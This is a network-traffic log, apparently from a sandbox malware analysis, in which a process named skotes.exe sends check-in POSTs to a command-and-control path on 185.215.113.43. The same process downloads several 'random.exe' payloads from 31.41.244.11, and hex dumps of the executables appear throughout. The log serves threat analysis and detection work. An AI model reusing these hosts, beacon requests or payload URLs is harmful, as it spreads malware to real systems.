Dec 18, 2024 09:07:11.028016090 CET	1236	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 18, 2024 09:07:11.028048992 CET	1236	IN	Data Raw: 78 01 81 ff 00 10 00 00 72 14 8b 51 fc 83 c1 fc 29 d1 83 f9 20 73 33 83 c0 24 89 c7 89 d1 57 51 e8 49 0a 00 00 83 c4 08 c7 06 5c c3 41 00 8b 4c 24 18 31 e1 e8 74 0a 00 00 89 f0 83 c4 1c 5e 5f 5b 5d c2 0c 00 e8 fd f8 ff ff e8 00 95 00 00 55 89 e5 Data Ascii: xrQ) s3$WQI\AL$1t^_[]USWV0WB1EUP WCWCzzrMw{C JUCE@rP\|P\C{MK GWuP
Dec 18, 2024 09:07:11.028084040 CET	1236	IN	Data Raw: 00 00 00 83 c4 04 8b 10 89 c1 56 ff 52 20 89 c3 8b 4f 04 85 c9 74 11 8b 01 ff 50 08 85 c0 74 08 8b 10 89 c1 6a 01 ff 12 8b 4c 24 08 31 e1 e8 a6 05 00 00 89 d8 83 c4 0c 5e 5f 5b c2 04 00 53 57 56 83 ec 0c 8b 74 24 1c a1 c0 57 42 00 31 e0 89 44 24 Data Ascii: VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3u-VPt94$VP<$=\|dBL$bL$1^_[WVWB1D$9u&j
Dec 18, 2024 09:07:11.028178930 CET	108	IN	Data Raw: 68 6a b8 41 00 e8 be 01 00 00 59 c3 56 57 6a 01 e8 33 5e 00 00 59 bf 10 66 42 00 8b f0 8b cf e8 0d 0f 00 00 6a 00 56 8b cf c7 05 10 66 42 00 cc cb 41 00 e8 69 1a 00 00 68 74 b8 41 00 e8 86 01 00 00 59 5f 5e c3 6a 01 6a 00 68 10 66 42 00 b9 c0 65 Data Ascii: hjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeB
Dec 18, 2024 09:07:11.028209925 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_
Dec 18, 2024 09:07:11.028249025 CET	224	IN	Data Raw: ec 56 6a 00 6a 00 e8 93 9b 00 00 8b 75 08 85 c0 59 59 b9 53 03 42 00 0f 45 c8 51 8d 4e 24 e8 41 00 00 00 8b 45 0c 85 c0 74 0a 50 6a 00 e8 6c 9b 00 00 59 59 85 c0 b9 88 0e 42 00 0f 45 c8 51 8d 4e 2c e8 1d 00 00 00 5e 5d c3 55 8b ec 8b 45 08 83 78 Data Ascii: VjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*?VtF>u+FVYtVWPH^_[]VV(A?~YtvKYfA
Dec 18, 2024 09:07:11.148468018 CET	1236	IN	Data Raw: 00 5e c3 55 8b ec 51 6a 20 e8 63 fa ff ff 89 45 fc 59 85 c0 74 0c ff 75 08 8b c8 e8 77 00 00 00 c9 c3 33 c0 c9 c3 55 8b ec 51 51 53 57 6a 00 8d 4d f8 e8 c1 fd ff ff 8b 45 08 8b 78 0c 8d 58 08 85 ff 74 3f 56 8b 03 4f 8b 04 b8 89 45 fc 85 c0 74 2c Data Ascii: ^UQj cEYtuw3UQQSWjMExXt?VOEt,p7BMEtj17BMu^3YM_[UQE3VhBuNF(AVVVFQ^UVEtj VYY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49712	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:14.902106047 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016851001&unit=246122658369
Dec 18, 2024 09:07:16.245498896 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49714	31.41.244.11	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:16.367350101 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 09:07:17.690732956 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:17 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 18, 2024 09:07:17.690828085 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 18, 2024 09:07:17.690864086 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 18, 2024 09:07:17.691036940 CET	1236	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Dec 18, 2024 09:07:17.691093922 CET	1236	IN	Data Raw: a2 41 00 8b f8 3b fe 74 33 56 6a 01 6a 01 57 ff 15 a4 a2 41 00 56 56 56 8d 45 e4 50 ff 15 a8 a2 41 00 8d 45 e4 50 ff 15 ac a2 41 00 6a 01 57 ff 15 b0 a2 41 00 57 ff 15 b4 a2 41 00 5f 5e c9 c3 53 ff 74 24 08 ff 15 94 a2 41 00 8b d8 85 db 75 02 5b Data Ascii: A;t3VjjWAVVVEPAEPAjWAWA_^St$Au[VW\|$Wt$A5AWSWS_3^@[UDSVWjpA5XAAPuuSuhuuSt&utWS\AWS`AtPdAz=Auo5h
Dec 18, 2024 09:07:17.691131115 CET	1236	IN	Data Raw: 59 8b 4d fc 41 51 50 89 45 f8 8d 45 98 50 ff d3 3b 45 fc 77 40 ff d7 85 c0 75 3a 8b 86 bc e0 41 00 85 c0 74 25 8b 7d f8 57 50 ff 15 2c a1 41 00 85 c0 74 13 ff b6 bc e0 41 00 e8 14 6d 01 00 89 be bc e0 41 00 eb 16 57 eb 0e 8b 45 f8 89 86 bc e0 41 Data Ascii: YMAQPEEP;Ew@u:At%}WP,AtAmAWEAulYuAAAA9t;AuS0AG3jZGQl=AYAu:%AjXPAhP4A~XP
Dec 18, 2024 09:07:17.691168070 CET	1236	IN	Data Raw: 20 a1 41 00 85 c0 74 37 8b 4d d4 33 c0 3b c8 77 2e 72 08 8b 45 d0 3b 45 08 73 24 6a 2b e8 70 fa ff ff 50 e8 86 6b 00 00 83 f8 01 59 59 74 09 83 0d c8 e9 41 00 ff eb ae 83 0d c8 e9 41 00 02 33 c0 40 c9 c3 ff 74 24 04 e8 8d ff ff ff 85 c0 59 75 01 Data Ascii: At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV3Wt$FFYW.t$6YY~_^D$V;F\|P^VWt$YWFt$AP
Dec 18, 2024 09:07:17.691524982 CET	108	IN	Data Raw: e8 c0 e2 ff ff 66 83 24 46 00 59 89 45 f8 8d 45 f4 50 8b cf e8 64 e5 ff ff 56 e8 8c 63 01 00 59 5b 5f 5e c9 c3 55 8b ec b8 20 10 00 00 e8 cf 63 01 00 53 56 57 8b 7d 08 8b 07 33 db 53 53 53 53 57 ff 50 10 8b 45 14 ff 75 0c 8b 35 30 a1 41 00 89 58 Data Ascii: f$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]
Dec 18, 2024 09:07:17.691556931 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 18, 2024 09:07:17.691591978 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh
Dec 18, 2024 09:07:17.810664892 CET	1236	IN	Data Raw: 04 46 89 75 fc 68 e9 fd 00 00 8d 45 e0 50 8d 45 bc 50 e8 e4 f4 ff ff 83 c4 0c 50 8d 4d b0 e8 46 db ff ff ff 75 bc e8 6c 59 01 00 8d 45 b0 50 e8 c5 f7 ff ff 59 59 68 c4 a6 41 00 ff 75 a4 ff 15 24 a1 41 00 85 c0 75 14 6a 3d ff 75 b0 e8 6e ed 00 00 Data Ascii: FuhEPEPPMFulYEPYYhAu$Auj=unYY39AAt&6AP6u4At9u9u Suu;tuHMEP?MM!iuX+uuuuW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49719	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:27.044841051 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016852001&unit=246122658369
Dec 18, 2024 09:07:28.376029015 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49720	31.41.244.11	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:28.498786926 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 09:07:29.827635050 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:29 GMT Content-Type: application/octet-stream Content-Length: 1997824 Last-Modified: Wed, 18 Dec 2024 07:16:03 GMT Connection: keep-alive ETag: "676276b3-1e7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 60 4c 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^`L@L@Vjl <@.rsrclL@.idata T@ `*V@kucwzsnpP2X@vgfkprooPLV@.taggant0`L"Z@
Dec 18, 2024 09:07:29.827711105 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 09:07:29.827765942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 09:07:29.827800035 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 09:07:29.827846050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 09:07:29.827883959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: UtJF7rx>l]!xU]5-e$C
Dec 18, 2024 09:07:29.827927113 CET	1236	IN	Data Raw: f1 eb a3 f6 99 dc 80 48 ac 89 f7 b9 24 a3 4d cf 8e 3b 0c 5b 02 d6 4a 3f d4 ed 84 f7 0a 18 7a a7 fc cc 47 f5 b8 cd cd 02 94 0b 59 41 33 d5 5b e9 36 45 34 9f 7f 6b 25 27 82 49 ed 0a f3 67 bd 8b 08 28 b1 af 93 4b 8d 3b 58 cc 80 a8 28 e2 09 34 89 d2 Data Ascii: H$M;[J?zGYA3[6E4k%'Ig(K;X(4aSOEv%Fd}HrnHff"SuFxpO"@Esm%\|Zj"3RnaZx3g6xM\[Pz%t)HvMegTuW
Dec 18, 2024 09:07:29.827979088 CET	1236	IN	Data Raw: f5 f5 56 12 31 0b c3 97 b0 50 15 8a 4a a6 29 f7 f0 8c cd ad fc e0 79 a2 07 67 0f 1b da 39 06 68 24 23 30 1d 16 c6 e6 ad ba dd 3c c2 ab e7 a8 40 72 a4 39 da ed f4 e3 ad 93 c2 76 39 9b 1b 27 02 a1 75 42 5a 8d 2b 0f 1f 64 0c 7e 67 6b f4 2f b1 0c c6 Data Ascii: V1PJ)yg9h$#0<@r9v9'uBZ+d~gk/T<r'9X\|Dz4<+Lu%K;$pMQZP$ }/YmStA.$<\|AG2SHC4XfOFA)Zu}}<Omi`7
Dec 18, 2024 09:07:29.828012943 CET	896	IN	Data Raw: 36 c6 86 7b 73 3c 3d 73 1d e7 3c f8 72 33 07 d8 08 f4 6f b3 93 f5 ae 39 e2 d5 9a 85 a0 31 5a 5a 2c de 0e eb 68 ac 6a 67 c6 e6 2f 5c c3 c6 e7 1c ee b1 3d 34 b9 e7 d0 d5 72 be e0 1b a6 f5 c9 17 7a 9c 99 4b b8 3c c8 73 31 4c a1 a2 00 dc df 48 c3 6b Data Ascii: 6{s<=s<r3o91ZZ,hjg/\=4rzK<s1LHk*rP>)sg.MR}\,m2pSt1$d4;[/iU0,E3K0x_2=%rtQP(xxUOvQ0r9H9Q[
Dec 18, 2024 09:07:29.828099966 CET	1236	IN	Data Raw: 88 5a 35 50 b2 29 a6 85 ec cc 39 43 36 89 cd 1f 08 5c 1f c3 78 e0 b1 d6 0d 84 cc 0e a4 75 99 3f 9c e1 f7 75 30 90 3f 0f 09 50 15 c3 05 a0 2f f7 6f 41 24 f3 fc cc 6e 05 27 b3 cd 25 14 35 c1 c3 78 88 9f b4 f6 84 19 69 c3 5b 99 3f bc e2 7e 51 30 fc Data Ascii: Z5P)9C6\xu?u0?P/oA$n'%5xi[?~Q04PO8[xCxO[,P_?[A0aPl/m~AH&cMeM\|*O`\|m#R\|t+bd%"zXH\$lh[b
Dec 18, 2024 09:07:29.947691917 CET	1236	IN	Data Raw: 91 83 99 3f 10 99 60 1e 31 c8 25 83 c1 50 15 c0 2c 23 00 ff d6 79 33 a7 f2 4a c0 20 b7 b0 11 d4 08 69 7e 97 0a 82 6e 7d 1f 3c 1e 03 b5 9e 8e 9c 74 33 b0 4f f8 d5 6b 86 19 45 81 c8 56 71 25 51 81 3d 65 cf f1 da 96 dd 74 dc 4a 48 26 9d 01 b9 1c 1d Data Ascii: ?`1%P,#y3J i~n}<t3OkEVq%Q=etJH&wOBFlP2.E2&@%o9u}HtD6{bT}f;m~XSNtn7$;_J;yt&} Dl~<SuS$$#IM;5Q68n}k\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49723	185.215.113.43	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:35.526653051 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016853001&unit=246122658369
Dec 18, 2024 09:07:36.857047081 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49724	31.41.244.11	80	6840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:07:36.996366978 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 09:07:38.307538986 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 08:07:38 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 18, 2024 09:07:38.307600021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 09:07:38.307611942 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 09:07:38.307742119 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 18, 2024 09:07:38.307756901 CET	896	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 18, 2024 09:07:38.307782888 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
